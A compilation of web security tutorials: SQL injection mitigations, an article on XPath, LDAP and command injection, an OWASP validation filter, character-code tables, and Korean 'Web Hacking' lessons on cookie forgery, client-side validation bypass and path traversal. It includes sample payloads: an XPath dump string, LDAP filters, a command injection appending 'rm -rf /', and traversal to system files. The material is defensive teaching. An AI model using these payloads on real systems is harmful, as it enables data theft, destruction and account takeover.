- Here, $email is the data obtained from the user's form, and it is passed as positional parameter #1 (the first question mark), and at no point do the contents of this variable have anything to do with SQL statement parsing. Quotes, semicolons, backslashes, SQL comment notation - none of this has any impact, because it's "just data". There simply is nothing to subvert, so the application is be largely immune to SQL injection attacks.
- There also may be some performance benefits if this prepared query is reused multiple times (it only has to be parsed once), but this is minor compared to the enormous security benefits. This is probably the single most important step one can take to secure a web application.
- Later, this prepared query is "executed" with a list of parameters:
- Limit database permissions and segregate users
- In the case at hand, we observed just two interactions that are made not in the context of a logged-in user: "log in" and "send me password". The web application ought to use a database connection with the most limited rights possible: query-only access to the members table, and no access to any other table.
- The effect here is that even a "successful" SQL injection attack is going to have much more limited success. Here, we'd not have been able to do the UPDATE request that ultimately granted us access, so we'd have had to resort to other avenues.
- Once the web application determined that a set of valid credentials had been passed via the login form, it would then switch that session to a database connection with more rights.
- It should go almost without saying that sa rights should never be used for any web-based application.
- The effect here is that even a "successful" SQL injection attack is going to have much more limited success. Here, we'd not have been able to do the UPDATE request that ultimately granted us access, so we'd have had to resort to other avenues.
- Use stored procedures for database access
- When the database server supports them, use stored procedures for performing access on the application's behalf, which can eliminate SQL entirely (assuming the stored procedures themselves are written properly).
- By encapsulating the rules for a certain action - query, update, delete, etc. - into a single procedure, it can be tested and documented on a standalone basis and business rules enforced (for instance, the "add new order" procedure might reject that order if the customer were over his credit limit).
- For simple queries this might be only a minor benefit, but as the operations become more complicated (or are used in more than one place), having a single definition for the operation means it's going to be more robust and easier to maintain.
- Note: it's always possible to write a stored procedure that itself constructs a query dynamically: this provides no protection against SQL Injection - it's only proper binding with prepare/execute or direct SQL statements with bound variables that provide this protection.
- By encapsulating the rules for a certain action - query, update, delete, etc. - into a single procedure, it can be tested and documented on a standalone basis and business rules enforced (for instance, the "add new order" procedure might reject that order if the customer were over his credit limit).
- Isolate the webserver
- Even having taken all these mitigation steps, it's nevertheless still possible to miss something and leave the server open to compromise. One ought to design the network infrastructure to assume that the bad guy will have full administrator access to the machine, and then attempt to limit how that can be leveraged to compromise other things.
- For instance, putting the machine in a DMZ with extremely limited pinholes "inside" the network means that even getting complete control of the webserver doesn't automatically grant full access to everything else. This won't stop everything, of course, but it makes it a lot harder.
- Configure error reporting
- The default error reporting for some frameworks includes developer debugging information, and this cannot be shown to outside users. Imagine how much easier a time it makes for an attacker if the full query is shown, pointing to the syntax error involved.
- This information is useful to developers, but it should be restricted - if possible - to just internal users.
Note that not all databases are configured the same way, and not all even support the same dialect of SQL (the "S" stands for "Structured", not "Standard"). For instance, most versions of MySQL do not support subselects, nor do they usually allow multiple statements: these are substantially complicating factors when attempting to penetrate a network.
We'd like to emphasize that though we chose the "Forgotten password" link to attack in this particular case, it wasn't really because this particular web application feature is dangerous. It was simply one of several available features that might have been vulnerable, and it would be a mistake to focus on the "Forgotten password" aspsect of the presentation.
This Tech Tip has not been intended to provide comprehensive coverage on SQL injection, or even a tutorial: it merely documents the process that evolved over several hours during a contracted engagement. We've seen other papers on SQL injection discuss the technical background, but still only provide the "money shot" that ultimately gained them access.
But that final statement required background knowledge to pull off, and the process of gathering that information has merit too. One doesn't always have access to source code for an application, and the ability to attack a custom application blindly has some value.
Thanks to David Litchfield and Randal Schwartz for their technical input to this paper, and to the great Chris Mospaw for graphic design (ⓒ 2005 by Chris Mospaw, used with permission).
SQL뿐 아니라 LDAP에 대한 Injection code를 소개합니다
Malicious Code Injection: It’s Not Just for SQL Anymore
by: Bryan Sullivan
More and more, developers are becoming aware of the threats posed by malicious code, and SQL injection in particular, and by leaving code vulnerable to such attacks. However, while SQL is the most popular type of code injection attack, there are several others that can be just as dangerous to your applications and your data, including LDAP injection and XPath injection. While these may not be as well-known to developers, they are already in the hands of hackers, and they should be of concern.
In addition, much of the common wisdom concerning remediation of malicious code injection attacks is inadequate or inaccurate. Following these flawed recommendations will not improve the security of your application, but will only leave you with a false sense of security until the next time your application is compromised and your data is stolen, erased, or tampered with. It is important for developers to acquaint themselves with all code injection types that exist as well as the proper ways to fix any vulnerabilities to malicious code.
The Basic Premise of All Code Injection Types
Many people mistakenly think that they are safe from malicious code injection attacks because they have firewalls or SSL encryption. However, while a firewall can protect you from network level attacks, and while SSL encryption can protect you from an outside user intercepting data between two points, neither of these options offers any real protection from code injection attacks. All code injection attacks work on the same principle: a hacker piggybacks malicious code onto good code through an input field in the application. Therefore, the protection instead has to come from the code within the application itself.
There are many motives that hackers using malicious code injection attacks may have. They may wish to access a website or database that was intended only for a certain set of users. They may also wish to access a database in order to steal such sensitive information as social security numbers and credit cards. Other hackers may wish to tamper with a database – lowering prices, for example, so they can steal items from an e-commerce site with ease. And once an attacker has gained access to a database by using malicious code, he may even be able to delete it completely, causing chaos for the business that has been attacked.
The root of all code injection problems is that developers put too much trust into the users of applications. A developer should never trust the user to operate the application in a safe manner. There will always be someone who is looking to use malicious code in an exploitative manner.
Looking Beyond SQL Injections
Aside from SQL injections, there are several other types of malicious code injection attacks with which developers must become familiar. Three of these types of dangerous malicious code injections are XPath injection, LDAP injection, and command execution injection.
An XPath injection attack is similar to an SQL injection attack, but its target is an XML document rather than an SQL database. The attacker inputs a string of malicious code meant to trick the application into providing access to protected information. If your website uses an XML (Extensible Markup Language) document to store data and user input is included in an XPath query against that document, you may be vulnerable to an XPath injection.
For example, consider the following XML document used by an e-commerce website to store customers’ order history:
The website allows its users to search for items in their order history based on price. The XPath query that the application performs looks like this:
string query = "/orders/customer[@id='" +
customerId + "']/order/item[price >= '" +
priceFilter + "']";
If both the customerId and priceFilter values have not been properly validated, an attacker will be able to exploit the XPath injection vulnerability. Entering the following value for either value will select the entire XML document and return it to the attacker:
'] | /* | /foo[bar='
With one simple request, the attacker has stolen personal data including e-mail addresses and credit card numbers for every customer that has ever used the website. Blind XPath injection attacks, like blind SQL injection attacks, are possible, but in situations like our example they’re not even necessary. XPath queries do not throw errors when the search elements are missing from the XML document in the same way that SQL queries do when the search table or columns are missing from the SQL database. Because of the forgiving nature of XPath, it can actually be easier for an attacker to use malicious code to perform an XPath injection attack than an SQL injection attack.
LDAP Injection and Command Execution
Like SQL injection for SQL databases and XPath injection for XML documents, LDAP injection attacks provide the malicious user with access to an LDAP directory, through which he or she can extract information that would normally be hidden from view. For example, an attacker could possibly uncover personal or password-protected information about a professor listed in the directory of a collegiate site. A hacker using this technique may rely on monitoring the absence and presence of error messages returned from the malicious code injection to further pursue an attack.
Some examples of LDAP injection clauses are:
- *
- )(|(cn=*)
- )(|(objectclass=*)
- )(|(homedirectory=*)
Finally, command execution can also provide the means for malicious code injection. Many times, a website calls out to another program on the system to accomplish some kind of goal. For example, in a UNIX system, the finger command can be used to find out details about when a user was last on the system, for how long, and so on. A user could, in this case, attach malicious code to the finger command and gain access to the system and its data process. So, the command:
finger bobsmithbecomes:finger bobsmith; rm –rf /
which will attempt to delete every file on the system.
Preventative Measures: The Good and the Bad
Several preventative actions have commonly been suggested to developers to protect applications from malicious code injection, but many of these have proven inadequate. For example, developers are told that turning off error messages can prevent code injection attacks, which is untrue. Some code injection attacks do not rely on error messages at all. These attacks are called “blind” injections. Since blind injection attacks can succeed even if error messages are suppressed, turning off error messages simply makes the application more obscure for the legitimate user while leaving data vulnerable to attack.
In addition, it is often said that using stored procedures for SQL calls can help remove vulnerabilities to SQL injections. This approach is easy to take with many applications – Oracle databases allow the user to write stored procedures in Java, while Microsoft SQL Server 2005 allows stored procedures to be written in .NET languages like C#. While there are many good reasons to use stored procedures, they do not solve the problem of SQL injection on their own. Using stored procedures simply shifts the burden of the problem onto the stored procedures. The complicated languages that allow the writing of stored procedures also are open to programming mistakes – mistakes that can lead to code injection vulnerability. The bottom line is that the developer has the responsibility to ensure that the data that is being passed to a database is safe and secure, so more steps must be taken at this stage.
The only real way to defend against all malicious code injection attacks is to validate every input from every user. While establishing a list of “bad” input values that should be blocked (a blacklist) may seem like an appropriate first step, this approach is extremely limited. A finite list of problems simply gives hackers the opportunity to discover ways around your list. There is simply no way to make sure that you are covering every possibility with your blacklist, so you are still leaving the application vulnerable to malicious code injections.
The correct way to validate input is to start instead with a whitelist – a list of allowable options. For example, a whitelist may allow usernames that fit within specific parameters – only eight characters long with no punctuation or symbols, and so on. This can reduce the surface area of a malicious code injection attack by specifying the proper format for the input into the field. The application can then reject input that does not fit the established format. This approach (unlike a blacklist) can prevent not only known, current attacks but also unknown, future attacks.
To be completely thorough, a developer should set up both white- and blacklists in order to cover all bases. In this way, the whitelist can be used to block the majority of attacks, while the blacklist can cover specific edge cases not handled by the whitelist. To protect against SQL injection, a whitelist could allow only alphanumeric input, while a “backup” blacklist could specifically disallow common SQL verbs like SELECT and UPDATE.
Conclusion
Developers may already be aware of SQL injections, but they may not be considering other types of malicious code injection attacks when creating a web application. Many applications are therefore left vulnerable to attack. A good developer should familiarize him or herself with other types of code injection, including LDAP injection and XPath injection, as well as the best ways to stop these attacks. In this way, applications can be made more secure at the start of the development process, and data will be protected.
About the Author
Bryan Sullivan is a development manager at SPI Dynamics, a Web application security products company. Bryan manages the DevInspect and QAInspect Web security products, which help programmers maintain application security throughout the development and testing process. He has a bachelor’s degree in mathematics from Georgia Tech and 11 years of experience in the information technology industry. Bryan is currently coauthoring a book on Ajax security, which will be published in summer 2007.
How to add validation logic to HttpServletRequest
From OWASP
Overview
In a Java EE application, all user input comes from the HttpServletRequest object. Using the methods in that class, such as getParameter, getCookie, or getHeader, your application can get "raw" information directly from the user's browser. Everything from the user in the HttpServletRequest should be considered "tainted" and in need of validation and encoding before use.
So it would be nice if we could add validation to the HttpServletRequest object itself, rather than making separate calls to validation and encoding logic. This way, developers would get some validation by default. This article presents an approach to building validation into the HttpServletRequest object so that it is mandatory for developers to use the validated data.
Most projects have an "allow everything" approach to validation. What we want is a Positive security model that denies everything that's not explicitly allowed. So using this approach, you can start your project with a very restrictive set of allowed characters, and expand that only as necessary.
Approach
We're going to use a Java EE filter to wrap all incoming requests with a new class that extends HttpServletRequestWrapper, a utility class designed for just this type of application. Then all we have to do is override the specific methods that get user data and replace them with calls that do validation before returning data.
The first thing to do is to create the ValidatingHttpRequest. Note that this class calls a new custom method named "validate" that throws a ValidationException if anything goes wrong. You can do a lot in the validate method, including encoding the input before it's returned to the application.
Then all we have to do is make sure that all the requests in our application get wrapped in our new wrapper. It's easy to implement with a Java EE filter.
To add the filter to our application, all we have to do is put these classes on our application's classpath and then set up the filter in web.xml.
Now all requests will go through the filter, get validated, and throw an exception if there's a problem. You'll want to set up a handler for ValidationExceptions, so that they get handled properly. If ValidationException extends SecurityException, and you've set up a handler for SecurityException that logs out users who try to hack, you'll be well on your way to a secure application.
+ Indicates a space (spaces cannot be used in a URL). %20
# Indicates bookmarks. %23
% Specifies special characters. %25
& Separator between parameters specified in the URL. %26
/ Separates directories and subdirectories. %2F
? Separates the actual URL and the parameters. %3F
Char(1)
Char(2)
Char(3)
Char(4)
Char(5)
Char(6)
Char(7)
Char(8)
Char(9)
Char(10)
Char(11)
Char(12)
Char(13)
Char(14)
Char(15)
Char(16)
Char(17)
Char(18)
Char(19)
Char(20)
Char(21)
Char(22)
Char(23)
Char(24)
Char(25)
Char(26)
Char(27)
Char(28)
Char(29)
Char(30)
Char(31)
Char(32)
Char(33) !
Char(34) "
Char(35) #
Char(36) $
Char(37) %
Char(38) &
Char(39) '
Char(40) (
Char(41) )
Char(42) *
Char(43) +
Char(44) ,
Char(45) -
Char(46) .
Char(47) /
Char(48) 0
Char(49) 1
Char(50) 2
Char(51) 3
Char(52) 4
Char(53) 5
Char(54) 6
Char(55) 7
Char(56) 8
Char(57) 9
Char(58) :
Char(59) ;
Char(60) <
Char(61) =
Char(62) >
Char(63) ?
Char(64) @
Char(65) A
Char(66) B
Char(67) C
Char(68) D
Char(69) E
Char(70) F
Char(71) G
Char(72) H
Char(73) I
Char(74) J
Char(75) K
Char(76) L
Char(77) M
Char(78) N
Char(79) O
Char(80) P
Char(81) Q
Char(82) R
Char(83) S
Char(84) T
Char(85) U
Char(86) V
Char(87) W
Char(88) X
Char(89) Y
Char(90) Z
Char(91) [
Char(92) \
Char(93) ]
Char(94) ^
Char(95) _
Char(96) `
Char(97) a
Char(98) b
Char(99) c
Char(100) d
Char(101) e
Char(102) f
Char(103) g
Char(104) h
Char(105) i
Char(106) j
Char(107) k
Char(108) l
Char(109) m
Char(110) n
Char(111) o
Char(112) p
Char(113) q
Char(114) r
Char(115) s
Char(116) t
Char(117) u
Char(118) v
Char(119) w
Char(120) x
Char(121) y
Char(122) z
Char(123) {
Char(124) |
Char(125) }
Char(126) ~
Char(127) �
MSSQL : CHAR(숫자)
ORACLE : CHR(숫자)
---------------------------------------------------
char(0) = �
char(1) =
char(2) =
char(3) =
char(4) =
char(5) =
char(6) =
char(7) =
char(8) =
char(9) =
char(10) =
char(11) =
char(12) =
char(13) =
char(14) =
char(15) =
char(16) =
char(17) =
char(18) =
char(19) =
char(20) =
char(21) =
char(22) =
char(23) =
char(24) =
char(25) =
char(26) =
char(27) =
char(28) =
char(29) =
char(30) =
char(31) =
char(32) =
char(33) = !
char(34) = "
char(35) = #
char(36) = $
char(37) = %
char(38) = &
char(39) = '
char(40) = (
char(41) = )
char(42) = *
char(43) = +
char(44) = ,
char(45) = -
char(46) = .
char(47) = /
char(48) = 0
char(49) = 1
char(50) = 2
char(51) = 3
char(52) = 4
char(53) = 5
char(54) = 6
char(55) = 7
char(56) = 8
char(57) = 9
char(58) = :
char(59) = ;
char(60) = <
char(61) = =
char(62) = >
char(63) = ?
char(64) = @
char(65) = A
char(66) = B
char(67) = C
char(68) = D
char(69) = E
char(70) = F
char(71) = G
char(72) = H
char(73) = I
char(74) = J
char(75) = K
char(76) = L
char(77) = M
char(78) = N
char(79) = O
char(80) = P
char(81) = Q
char(82) = R
char(83) = S
char(84) = T
char(85) = U
char(86) = V
char(87) = W
char(88) = X
char(89) = Y
char(90) = Z
char(91) = [
char(92) = \
char(93) = ]
char(94) = ^
char(95) = _
char(96) = `
char(97) = a
char(98) = b
char(99) = c
char(100) = d
char(101) = e
char(102) = f
char(103) = g
char(104) = h
char(105) = i
char(106) = j
char(107) = k
char(108) = l
char(109) = m
char(110) = n
char(111) = o
char(112) = p
char(113) = q
char(114) = r
char(115) = s
char(116) = t
char(117) = u
char(118) = v
char(119) = w
char(120) = x
char(121) = y
char(122) = z
char(123) = {
char(124) = |
char(125) = }
char(126) = ~
char(127) =
char(128) = €
char(129) =
char(130) = ‚
char(131) = ƒ
char(132) = „
char(133) = …
char(134) = †
char(135) = ‡
char(136) = ˆ
char(137) = ‰
char(138) = Š
char(139) = ‹
char(140) = Œ
char(141) =
char(142) = Ž
char(143) =
char(144) =
char(145) = ‘
char(146) = ’
char(147) = “
char(148) = ”
char(149) = •
char(150) = –
char(151) = —
char(152) = ˜
char(153) = ™
char(154) = š
char(155) = ›
char(156) = œ
char(157) =
char(158) = ž
char(159) = Ÿ
char(160) =
char(161) = ¡
char(162) = ¢
char(163) = £
char(164) = ¤
char(165) = ¥
char(166) = ¦
char(167) = §
char(168) = ¨
char(169) = ©
char(170) = ª
char(171) = «
char(172) = ¬
char(173) =
char(174) = ??
char(175) = ¯
char(176) = °
char(177) = ±
char(178) = ²
char(179) = ³
char(180) = ´
char(181) = µ
char(182) = ¶
char(183) = ·
char(184) = ¸
char(185) = ¹
char(186) = º
char(187) = »
char(188) = ¼
char(189) = ½
char(190) = ¾
char(191) = ¿
char(192) = À
char(193) = Á
char(194) = Â
char(195) = Ã
char(196) = Ä
char(197) = Å
char(198) = Æ
char(199) = Ç
char(200) = È
char(201) = É
char(202) = Ê
char(203) = Ë
char(204) = Ì
char(205) = Í
char(206) = Î
char(207) = Ï
char(208) = Ð
char(209) = Ñ
char(210) = Ò
char(211) = Ó
char(212) = Ô
char(213) = Õ
char(214) = Ö
char(215) = ×
char(216) = Ø
char(217) = Ù
char(218) = Ú
char(219) = Û
char(220) = Ü
char(221) = Ý
char(222) = Þ
char(223) = ß
char(224) = à
char(225) = á
char(226) = â
char(227) = ã
char(228) = ä
char(229) = å
char(230) = æ
char(231) = ç
char(232) = è
char(233) = é
char(234) = ê
char(235) = ë
char(236) = ì
char(237) = í
char(238) = î
char(239) = ï
char(240) = ð
char(241) = ñ
char(242) = ò
char(243) = ó
char(244) = ô
char(245) = õ
char(246) = ö
char(247) = ÷
char(248) = ø
char(249) = ù
char(250) = ú
char(251) = û
char(252) = ü
char(253) = ý
char(254) = þ
Log Injection
log injection이란 sql injection처럼 파라미터를 통해 로깅을 조절하는 방법을 말합니다
보통 웹 어플리케이션에서 log4j 등을 이용해 파일에 로깅을 합니다
일반적으로는 장애 발생시 에러 추적을 위해 사용됩니다
하지만 데이터 유실시 복구 방침으로 로깅을 하기도 하고요, 그냥 말 그대로 그냥 로깅을 하기도 하지요 또한 로그 파일을 파싱하여 무언가 통계를 내기도 합니다(웹CRM)
일반적으로 로그인에 대한 로깅을 파일에 다음과 같이 합니다 (로그인예가 아니더라도..)
로그가 정상적으로 기록된다면 아마 다음과 같은 형태가 될겁니다
그렇다면 로그인시 다음과 같은 문자열을 입력했으면 어떻게 될까요?
그럼 로그 결과는 다음과 같이 출력됩니다
붉은색 부분이 사용자가 입력한 부분이죠
여기서는 간단한 예를 들었습니다만 여러가지면으로 활용이 가능할 겁니다
로깅파일을 100% 신뢰할 수 없다는 것이지요 ^^
Web Hacking 1탄 SQL Injection
Web Hacking 2탄 파일조작
Web Hacking 3탄 구멍난 자바스크립트
Web Hacking 4탄 쿠키취약점
말도많고 탈도많은 쿠키!! 어떻게 사용하면 잘사용 하는걸까요?
앞으로 나오는 document.cookie등은 자동으로 "no_"앞에 가 붙습니다
Unicorn3에서 보안상 필터링하게 되어있기 때문입니다 앞에 "no_"가 없는것으로 간주하시면 됩니다
① 쿠키취약점
쿠키로 인증하는 사이트에 접속하여 로그인한 후 쿠키값 확인을 해봅니다
로그인 하지 않은 상태라면 다음과 같이 세션 아이디만 나오게 되며
로그인 한 상태라면 다음과 같이 쿠키이름과 쿠키값을 쌍으로 정보가 출력됩니다
관리자 아이디가 goodbug 라고 가정하고 이 아이디로 조작하기 위해서는 다음과 같이 입력합니다
그럼 프롬프트창이 하나 나타나며 이 부분에 다음과 같이 입력합니다
어떤 쿠키이름이 아이디를 나타내는 것일까요?
몇가지 없으니 가장 유력한 이름부터 하나씩 해보면 됩니다
다시 javascript:alert(document.cookie) 를 통해 쿠키값을 확인합니다
UID가 goodbug로 변경이 되었습니다
즉 내계정을 통해 goodbug로 로그인한것과 동일한 효과를 가져왔습니다!!
만약 쿠키로만 인증하는 방식이라면 타계정의 접속이나 관리자 화면으로 쉽게 들어갈 수 있습니다
② 쿠키를 이용한 SQL Injection
쿠키를 이용하여 일반 로그인 화면이나 관리자 화면을 통화할 수 있습니다
SQL Injection이 어느정도 알려졌기 때문에 로그인 폼으로 부터 넘어온 아이디나 비밀번호 정보들을
일정 값들로 치환하는 경우를 볼 수 있습니다
즉 '나 ", -, \ #등의 SQL Injection에 활용되는 문자들을 무력화 시키곤 합니다
하지만 이역시 쿠키 SQL Injection을 통해 간단히 통과할 수 있습니다
마찬가지 방법으로 자신의 계정으로 로그인 하여 쿠키를 생성 한 후 다음과 같이 값을 변경합니다
관리자 화면은 화면마다 아이디를 이용해 인증을 할것입니다
하지만 이 관리자 아이디를 쿠키로 읽어온다면 아마 많은 허점이 생길겁니다
보통 쿠키로 부터 읽어온 값은 '나 --등은 체크하지 않죠
그래서 인증 관련된 부분은 항상 "특정문자를 치환+Statement" 보다는 "PreparedStatement"를 사용해야 합니다
③ 쿠키취약점 보안 및 결론
-. 쿠키에 값을 구울때는 그 값을 "암호화" 하여 저장하고, 다시 읽어올때는 "역암호화"하여 사용합니다
-. 로그인시에 IP도 쿠키에 같이 구워버리고, 데이터베이스에도 저장하며, 항상 실제 아이피와 비교하여 사용합니다
-. 쿠키는 웹서버가 클라이언트에 남겨놓은 정보입니다
그래서 쿠키는 클라이언트가 마음대로 조작하는것이 가능하기때문에 서버는 어떤일이 일어나는지 검사해야 한다는 것입니다
ps. 대형사이트에서는 IDS에 걸릴수 있으니 주의하세요
=============================================
본문서는 자유롭게 배포/복사 할수 있지만
이문서의 저자에 대한 언급을 삭제하시면 안됩니다
저자 : GoodBug (unicorn@jakartaproject.com)
최초 : http://www.jakartaproject.com
=============================================
Web Hacking 1탄 SQL Injection
Web Hacking 2탄 파일조작
Web Hacking 3탄 구멍난 자바스크립트
1. 시작하기
여러분들은 사용자가 입력한 값에대해 어느정도 검증을 하는지요?
사용자 값을 이것저것 따지고 여러가지 유효성을 체크할려면 아주 귀찮은 일이 아닐수 없습니다
그중에 하나가 웹브라우져에서 실행되는 자바스크립트로 체크하는 방법이 있는데 비지니스 로직이 조금 복잡할때는 자바스크립트로 도배를 하는 경우도 종종 있지요
유효성 검증하는일 저도 정~~말 싫어합니다 하지만 해야 합니다 ㅠ.ㅠ
그럼 어디까지 그 유효성을 체크해야 할까요? 자바스크립트로만 체크하면 될까요?
처음 웹프로그래밍을 할때는 저도 자바스크립트로만 입력값을 검증하면 되는줄 알았습니다
한마디로 몰랐죠
하지만 이제는 알기때문에 자바스크립트뿐만 아니라 서버쪽에서도 동일하게 체크해 주어야 합니다
사용자가 입력한 값이 얼마나 무서운지는 앞의 1탄, 2탄의 강좌를 통해 어느정도는 감을 잡으셨으리라 생각하고 이번 강좌에서는 왜 서버쪽에서도 체크해야 하는지!에 대해 간략히 알아보겠습니다
2. 자바스크립트 체크
입력값의 자리수가 13자리인지 체크하여 맞으면 submit을 만약 그렇지 않다면 정상적인 입력값을 요구하는 입력갑검사 로직이 있다고 가정하겠습니다 그리고 서버쪽에서는 꼭 13자리가 넘어와야 정상적인 처리를 할수 있다고 하겠습니다
그럼 아래와 같은 간단한 코드가 나올겁니다
http://www.jakartaproject.com/html/input.html
실제 웹 브라우져에서 보면 아래와 같습니다
"33" 이라는 두자리 수만 입력하니 역시나 재입력을 요구하는 alert창이 떳습니다 (가끔 깜짝깜짝 놀라죠 -,-)
그럼 정상적으로 "1111111111111" 의 입력값 13자리를 입력해 보겠습니다
그리고 이 값은 process.jsp 라는곳에서 파라미터로 받아 아래와 같이 처리합니다
코드는 간단하게 그 입력값과 레퍼러 값을 보여주겠습니다
http://www.jakartaproject.com/html/process.jsp
request.getHeader("referer")는 헤더정보에서 referer값을 가져오는 함수로, 이전 페이지 주소값을 가져옵니다
그럼 화면은 아래와 같이 나옵니다
자 정상적으로 처리되었습니다
3. 자바 스크립트 우회
그럼 이제부터 자바스크립트로 입력값의 자리수 체크로직을 피해가는 방법을 알아봅시다
어떤 방법이 있을까요?
① URL로 접근
입력값이 몇가지 되지 않는다면 아래 방법이 가장 편하겠군요
즉 브라우져 주소창에다 직접 입력 합니다
아래와 같은 화면이 나올겁니다
메쏘드정보 (request.getMethod())를 찍어보니 GET 이 나오는군요!
그렇다면 이같은 직접 URL값을 막기위해 간단히 POST만 허용하는 로직을 추가해 버립시다
http://www.jakartaproject.com/html/process.jsp
이러면 괜찮겠지 흐흐.. 라고만끝나면 안됩니다
② 로컬파일로 접근
①번의 방법은 GET방식때문에 막혔습니다 그러면 자바스크립트를 우회하면서 POST방식으로 보내는 방법은 없을까요? 물론 있습니다
웹브라우져는 "소스보기" 라는 좋은 메뉴가 있습니다 있는건 적극 활용합시다 ㅎㅎ
소스보기한 후 바탕화면에 저장하여 약간 손을 보았습니다
즉 입력값을 체크하는 자바스크립트를 무력화 시키면서, action을 수정해 주었습니다
C:\Documents and Settings\Administrator\바탕 화면\client.html
웹화면은 다음과 같겠죠
"submit"버튼을 클릭합니다 ^^
역시나 자바스크립트를 거치지 않고 process.jsp에 13자리수가 아닌 "22"값을 무난히 보냈습니다
그럼 서버쪽에서는 "어이쿠 이런 헤더정보도 체크해야 겠군" 하고 다음 코드를 추가해 버릴겁니다
즉 레퍼러값이 null인 경우는 허용할수 없다는 것이죠
http://www.jakartaproject.com/html/process.jsp
그럼 위와같은 소스가 될것입니다
그럼 과연 위 소스가 안전할까요?
③ HEADER값 조작
그렇다면 HEADER값을 조작해 봅시다 어떻게 조작할 수 있을까요?
여러가지 프로그램들이 있지만 그중에 Achilles 라는 proxy server를 이용하여 조작해 보겠습니다
Achilles라는 proxy server는 웹브라우져와 서버간의 HTTP 세션을 중간에서 가로채어 원하는대로 수정한 후 보낼수 있도록 해주는 작으면서도 강력한 프로그램입니다
우선 위에서 작성한 바탕화면에 저장된 C:\Documents and Settings\Administrator\바탕 화면\client.html 를 실행한 결과를 Achilles가 Intercept한 결과입니다
여러 가지 헤더정보들이 보이며 쿠키값까지 조작할수 있습니다
하지만 위의 헤더정보에는 referer값이 없습니다 그래서 referer체크에서 null이 나와 로직에 걸립니다
그렇다면 referer정보를 추가해 줍시다
파랑색으로 줄쳐진 부분을 에디팅하여 추가해주었습니다
Referer: http://www.jakartaproject.com/html/input.html
그런다음 "Send"버튼으로 전송합니다
짠~
그러면 조작된 헤더정보를 알아채지 못하고 헤더의 referer값을 가져오는군요!
4. 서버쪽 로직 추가!
위에서 자바스크립트를 우회하는 몇가지 방법들을 알아보았습니다
결론은 하나입니다 즉! 서버쪽에서도 동일하게 체크해 주어야 합니다
그렇다면 서버쪽에서만 체크하고 클라이언트에서는 체크할 필요가 없다고 생각할지도 모르지만,
그만큼 서버쪽으로 오는 request를 줄이면 더더욱 좋겠죠
자잘한것 하나때문에 서버쪽 부하를 줄수 없는 노릇아니겠습니까?
자 이러이러 하고 저러저러한 이유로 우리는 이제부터라도 클라이언트에서는 자바스크립트로,
서버쪽에서는 또 서버쪽 스크립트로 사용자가 입력한 값에대해 유효성을 검증해야 하는것을 알았습니다
로직이 복잡한 경우 가뜩이나 자바스크립트도 복잡한데 그 로직을 서버쪽에서 다시한번 만든다는게 힘들다는거 다들 압니다 하지만 안전한 웹페이지를 만들기 위해 다같이 노력해야 되지 않겠습니까?
Web Hacking 1탄 부터 이번 3탄에 이르기까지 웹 프로그래밍 하면서 반드시 필요하고 인식해야 하는 부분에 대해 논하였습니다
마지막으로 다시한번 언급하자면 우리가 잠깐 잊고 지나가거나 혹은 귀찮아서 지나치는 사소한 부분들 때문에 엄청난 결과를 가져올 수 있다는 것입니다 미리미리 예방하고 예측해서 방지하는수 밖에 없습니다 그럼 다들 건승~!~!
이상 GoodBug였습니다~
=============================================
본문서는 자유롭게 배포/복사 할수 있지만
이문서의 저자에 대한 언급을 삭제하시면 안됩니다
저자 : GoodBug (unicorn@jakartaproject.com)
최초 : http://www.jakartaproject.com
=============================================
Web Hacking 1탄 SQL Injection
Web Hacking 2탄 파일조작
Web Hacking 3탄 구멍난 자바스크립트
1. 시작하기
해커가 하나의 웹사이트를 공격하기 위해 많은 시간을 준비한다고 했습니다
그중에 가장 먼저 하는것 중에 하나가 바로 파라미터와 그 값에대한 목록 정리 입니다
즉 타겟 웹사이트의 모든 URL 파라미터를 GET, POST등으로 정리를 합니다
http://xxxxxxxx.com/pds/list1.php?cnum=2
http://xxxxxxxx.com/pds/list2.php?cnum=2&snum=21
http://xxxxxxxx.com/view.php?fnum=104591
http://xxxxxxxx.com/bbs/bbs.php?table=bbs_sw_qna
http://xxxxxxxx.com/bbs/bbs.php?f=write&table=bbs_sw_qna
http://xxxxxxxx.com/bbs/bbs.php?f=view&table=bbs_sw_qna&fid=48610&num=85973
...
이렇게 목록화 후 분석을 해보면 해당 파라미터가 어떤 역할을 하는지 무엇을 의미하는지 80%는 파악할 수 있습니다
bbs의 f에는 write와 view 라는 값이 주어지는것을 보니 액션에 대한 글쓰기를 할것이지 아니면 글조회를 할것인지를 나타내는것으로 보이며 table이라는 컬럼은 아마도 물리적 table이름을 말하는것 같군요
cnum은 아마도 카테고리 번호를 의미하는것이고 snum은 소카테고리번호를, num은 게시물 글번호를 의미하는것으로 추정됩니다
그럼 이 프로그램들이 어떻게 돌아가는지 대강 파악이 되고 이제부터 취약점이 있는지 체크해 나가보는겁니다
파라미터명이나 값에대해서는 유추할수 없이 프로그램 한다면 아마도 조금은 더 보안적으로 안전할 것입니다
다음은 파라미터로 적절치 않은 값을 넘겨주는 예를 알아볼 것이며, 파일 업로드, 다운로드 취약점에 대해 공부해 보겠습니다 ^^
2. 동적 파일 로딩 취약점
동적으로 어떤 특정 파일을 열어 그 파일 내용을 웹에서 보여주는 jsp가 있다고 합시다
대량의 html이나 txt 파일들을 읽어 웹에서 보여주는 로직들이 많지요 (저도 많이 썼습니다 -_-;)
동적으로 그 파일에 대한 정보를 파라미터로 읽어온다면 어떻게 될까요?
다음과 같은 요청을 보낸다면..
/ROOT/sample.txt 파일을 정상적으로 로딩하여 보여줄겁니다
하지만 다음과 같이 값을 준다면 어떻게 될까요?
저런 --; 시스템 파일들이 몽땅 조회가 되는군요..
Unix 계열이라면
상위 디렉토리로 이동하면서 크래커는 passwd file을 볼수 있습니다
앗 여기서 다들 뜨끔 하신가요? 저만 그러나 ^^;
그럼 어떻게 처리해야 할까요? ../ 만 막아선 될까요?
Unix에서는 ./.\. 도 상위로 가는 명령이죠
아시겠지만 cd ./.\. 하면 한단계 위로 올라간답니다
그러니 ../ 뿐만아니라 ./.\. 도 같이 막을수 있도록 파라미터 확실히 체크를 해야 합니다
3. 동적 include 파일 취약점
그럼 include는 어떨까요? 위처럼 동적으로 include 할 파일명을 받아 처리하는 구조 말이지요
라고 요청을 날렸습니다
네 정상적으로 sample.txt를 가지고 왔습니다
하지만 다음과 같은 요청이 가면 어떨까요?
네 역시나 기대를 저버리지 않고 web.xml을 기냥 출력해 버리는군요 (여기서 알아보기 쉽게 <를 나타나게 하였습니다)
문제는 /WEB-INF/ 밑에 기타 중요한 properties (데이터에비스 설정 properties)가 있다면 낭패입니다
